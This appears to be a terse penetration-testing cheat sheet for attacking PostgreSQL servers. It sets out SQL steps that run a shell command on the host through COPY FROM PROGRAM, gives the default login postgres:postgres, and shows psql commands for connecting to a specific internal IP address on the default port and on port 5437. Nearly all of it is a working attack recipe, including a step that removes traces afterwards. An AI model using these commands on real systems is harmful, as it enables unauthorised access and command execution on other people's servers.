1) [Optional] Drop the table you want to use if it already exists
DROP TABLE IF EXISTS cmd_exec;
2) Create the table you want to hold the command output
CREATE TABLE cmd_exec(cmd_output text);
3) Run the system command via the COPY FROM PROGRAM functio
COPY cmd_exec FROM PROGRAM 'id';
4) [Optional] View the results
SELECT * FROM cmd_exec;
5) [Optional] Clean up after yourself
DROP TABLE IF EXISTS cmd_exec;
Default Password
postgres:postgres
#Default port
psql -h 192.168.59.47 -U postgres -W
#diifrent port
psql -h 192.168.59.47 -U postgres -W -p 5437